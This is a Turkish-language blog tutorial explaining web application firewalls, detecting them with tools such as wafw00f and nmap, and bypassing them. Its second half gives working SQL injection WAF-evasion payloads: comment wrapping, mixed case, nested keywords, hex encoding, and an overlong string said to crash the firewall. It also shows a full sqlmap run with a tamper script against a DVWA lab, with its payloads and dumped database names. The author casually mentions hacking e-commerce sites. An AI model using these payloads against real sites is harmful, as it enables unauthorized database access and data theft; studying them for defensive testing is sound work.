Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | WAF Nedir, Nasıl Bypass Edilir?

Firewall yerel ağımızla internet, server, uygulama arasındaki trafiği kontrol eden yazılımsal ya da donanımsal vardır ve genellikle ağ sistemlerini korumak için kullanılan güvenlik sistemleridir. Dışarıdan ağımıza gelen ve ağımızdan dışarıya giden her paket firewallun kontrolüyle hareket eder. Bu paketler firewall da ki tanımlanan kurallara göre engellenir ya da paketlerin geçişine izin verilir(paket filtrelemesi yapar). Bu kurallar çeşitli yöntemlere göre(ip adresleri,alan adları,protokoller(IP,TCP,HTTP,FTP,UDP,ICMP,MTP,SNMP,TELNET) ve portlar) belirlenebilir. Peki firewall’a neden ihtiyaç duyarız. Masum kullanıcılar sadece virüs tehdidi altında değildir. Bilgisayarınızda ki kişisel verileriniz de bir güvenlik riski oluşturur. Firewallar ise size dışardan gelen her türlü saldırıyı koruma imkanı sağlar.

1.Network Layer Firewall

Bu yazımda sizlere kısaca network katmanlı firewalldan bahsedip asıl konumuz olan WAF(web application firewall)’ın nasıl bir yapıya sahip olduğunu, nasıl çalıştığını,nasıl tespit edildiğini,ve bypass edilme yöntemlerini anlatacağım. Network katmanlı firewallar TCP/IP stack yığınına göre düşük bir level de faaliyet gösteren oluşturduğumuz white ya da black listdeki kurallarla eşleşmediği sürece paket geçişlerine izin vermeyen güvenlik duvarlarıdır.Birçok kez bir uygulamaya injection yapmaya çalıştığımızda gönderdiğimiz paketler düşüyorsa ve server dan geri dönüş gelmiyorsa internet bağlantımız dan da eminsek büyük ihtimalle ağda firewall vardır.
Şimdi gelelim WAF’a. WAF, web uygulamalarına yapılan genellikle SQLi gibi saldırıları tespit edip engellemeye çalışan uygulama önünde bir çeşit proxy görevi gören güvenlik duvarlarıdır; ancak normal firewallare göre http trafiğini iyi anlar ve zararlı istekleri bloklar. İstekler ya da saldırılar uygulamaya ulaşmadan önceki trafiği analiz ettiği için buraya odaklanır IPs’e da avantaj sağlar. Genelikle client ile web server arasındadır. Şimdi WAF nasıl çalışıyor onu öğrenelim.

659cs

 

2.Web Application Firewall

659cs

WAF, webservera gelen HTTP isteklerini eleyerek çalışır.Hem POST hem de GET isteklerini her türlü ziyaretçinin trafiğini inceleyerek uygulanan kurallarca denetler. Website adreslerini ya da URL’leri sıradışı davranışlara karşı izler,sürpriz bir kullanıcıyla karşılaşırsa CAPTCHA’ya yönlendir, capcha doğru bir şekilde işaretledikten sonra işleme devam edilir, yok eğer yanlış cevap verirsek bot, robot, saldırgan olmamıza karşın o anki trafiğimizi bloklar. WAF çeşitli şekillerde çalışmakta olup parsing, decoding(base64) filtreleme gibi yöntemlerle faaliyet gösterir.
Şimdi WAF’ın ne olduğundan ve algılama mekanizmasından biraz bahsettik, sıradaki görevimiz WAF’ı tespit etmek; tespit işleminden sonra da bypass edip yolumuza devam edeceğiz.

 

Detecting the WAF!

WAF’ın mekanizmasını anlamak icin en iyi yöntemlerden biri de WAF neye karsı uygulamayı korumaya calısıyor ve tehdidi algıladgı zaman nasıl bir tepki veriyor sorularının cevabını öğrenmek olucaktır. Regularity ve audit frameworkleri genelde OWASP 10’deki tehdidlere göre kendilerini korumaya çalışırlar;OWASP 10 XSS ve SQLi gibi saldırıları test etmek icin kendince methodlar icerir. Bazı WAFlar default politikaları sayesinde, email toplayı robotlara, internet wormlarına, icerik toplayıcı botlara karşı uygulamaları korumaya çalışırlar. Tehdit algılandıgı zaman WAF kullanıcıya bazı standard error mesajları sıralayarak “OK” kodlu HTTP cevabını dönecektir. HTTP kodu WAF olup olmadıgını anlayacak kadar akıllı değildir.

 

 

 

659cs

 

Ek olarak bir firewallun varlığını tepit etmek icin sürekli istek gönderirsek ve oturum hızlı bir sekilde sonlanıyorsa burda firewall var demektir;bir sonraki ssde olduğu gibi.

659cs

 

Şimdi de abilerimizin yazdığı otomatik toollarla tespit edelim.
En cok bilinen tespit araclarından birisi WAFW00F tooludur.Kolay ve basit bir sekilde WAF keşfi yapabilir. Bir sonraki ssde basarılı bir şekilde Citrix Netscaler firewallunu tespit ediyoruz.
Application → Kali Linux → Information Gathering → IDS/IPS Identification → wafw00f

659cs

 

Nmap de firewall tespit etmek icin script iceren sık kullanılabilen bir aractır. Script parametresiyle çalıştırdığımzda web appllication firewallu tespit edebiliyoruz.

659cs

 

Eğer imperva firewallunu tespit etmiş isek ./imperva.sh scriptini calıştırarak ceşitli testler otomatik olarak firewall üzeirnde uygulanır.

659cs

 

Wafw00f’ın nasıl çalıştığı,kurulumu,algılama yapısının anlatıldığı güzel bir github reposu: https://github.com/EnableSecurity/wafw00f
Buraya kadar olan kısımda çeşitli methodlarla ve toollarla WAF’ı tespit ettik, WAF tespit etmek sızma testi yaparken ya da bir e-ticaret sitesini hacklerken; bilgi toplama aşamasının önemli bir sürecidir.Bundan sonra WAF’ı bypass etmek icin teknik ve methodları anlatmaya çalışacağım arkadaşlar.

How to bypass WAF!

İlk önce hedef üzerinde bazı testler uygulayarak başlayalım; nmap kullanarak hedef networku tarayalım; IPs ile birlikte servisler üzeirnde hangi portlar çalıştığını(cekici portlarımız:80,443) waffit ya da imperva-detect scriptini calıstırarak hangi servislerin firewall tarafından korundugunu tespit ettik.Korumasız IPs’e exlploit uygulamak icin bizim icin cok güzel tabi.
WAF, kilit müzarekeleri private key kullanarak gözlemler ve encrypted paketler daha web servera ya da diğer SSL sonlandırma notasına ulaşmadan önce SSL trafiğini denetler ve çözümler. Bu konuya girersek uzar gider.
Hemen bypass yöntemleine gecelim;

  • Comments
http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….

Ancak coğu WAF bu methodu anlayabiliyor; “Forbidden” hatası veriyor.

  • Bir önceki methodu komutların bazı harflerini küçük harfle yazarak deneyelim..
http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….

Ancak bu methodda bazı WAFlar tarafından yakalanabilir.

  • Bir önceki methoddaki komutları kombine edip deneyelim
http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….

Bu method cogu WAF tarafından algılanmaz

  • Anahtar kelimlerin yerlerini değiştirelim

Çoğu WAF “UNION SELECT” statementini URL’nin icinde algıladıgı an siler; biz bu fonksiyonu exploit etmek icin kullanalım.
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
(“union” ve “select” silinecek, sonuc “UNION SELECT” olacak)
Bu method tüm firewallarda calısmaz, “UNION” VE “SELECT” komutlarını algıladıkları an silerler.
Buraya kadar olan yaptığımız manuel değişiklikleri “union” ve “select” komutlarını rastgele büyük-kücük harf seklinde düzenleyerek karşı sisteme gönderen tamper isimli klasöründe bypass scripti bulunduran SQLmap aracı vardır.

[email protected]:/pentest/database/sqlmap# ./sqlmap.py -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --tamper "tamper/randomcase.py" --dbs

 

[*] starting at 16:16:24 
[16:16:24] [INFO] loading tamper script 'randomcase'
[16:16:24] [INFO] testing connection to the target url
[16:16:25] [INFO] testing if the url is stable, wait a few seconds
[16:16:26] [INFO] url is stable
[16:16:26] [INFO] testing if GET parameter 'id' is dynamic
[16:16:26] [WARNING] GET parameter 'id' appears to be not dynamic
[16:16:26] [INFO] heuristics detected web page charset 'ascii'
[16:16:26] [WARNING] reflective value(s) found and filtering out
[16:16:26] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
[16:16:26] [INFO] testing for SQL injection on GET parameter 'id'
[16:16:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='Surname: admin')
[16:16:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[16:16:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:16:26] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..                                               
[16:16:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:16:37] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[16:16:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:16:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[16:16:37] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:16:37] [INFO] target url appears to have 2 columns in query
[16:16:37] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 19 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3106=3106&Submit=Submit
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND (SELECT 2385 FROM(SELECT COUNT(*),CONCAT(0x3a72796b3a,(SELECT (CASE WHEN (2385=2385) THEN 1 ELSE 0 END)),0x3a6b6e693a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a72796b3a,0x4f676a51626745675562,0x3a6b6e693a), NULL#&Submit=Submit
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)&Submit=Submit
---
[16:16:41] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[16:16:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0
[16:16:41] [INFO] fetching database names
available databases [7]:
[*] beyazsapka
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test
[*] yenibir_siparis
[16:16:41] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.1.127'
[*] shutting down at 16:16:41

Şimdi biraz daha advance methodlara gecelim.
Çoğu firewall C/C++ diliyle geliştirilmiştir ve biz firewallu buffer overflow kullanarak crash edebiliriz.

http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….

Aşağıdaki commiti uyguladığımızda WAF’ı crash edebiliriz

?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….

500 cevabını alırsak buffer overflow methoduyla exploit edebilirz.
Sıradaki method; hex değerleriyle karakterlerin yerlerini değiştirelim

http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….

burdaki örnekte “union ve select” komutlarındaki hex(url-encoded) değerleriyle bazı karakterlerin yerlerini değiştirdik.
Karakterlerin hex değerlerini veren bir kaynak: http://www.swingnote.com/tools/texttohex.php
Aşağıdaki “*” işaretiyle whitespace’nin yerini değitiriyor.

http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4&#8230

eğer firewall “*” işaretini silerse sonuc: 15+union+select… olucak; buna benzer fonksiyonlar bulup exploit edebiliriz.

About CanYouPwnMe

Hero!

Follow Me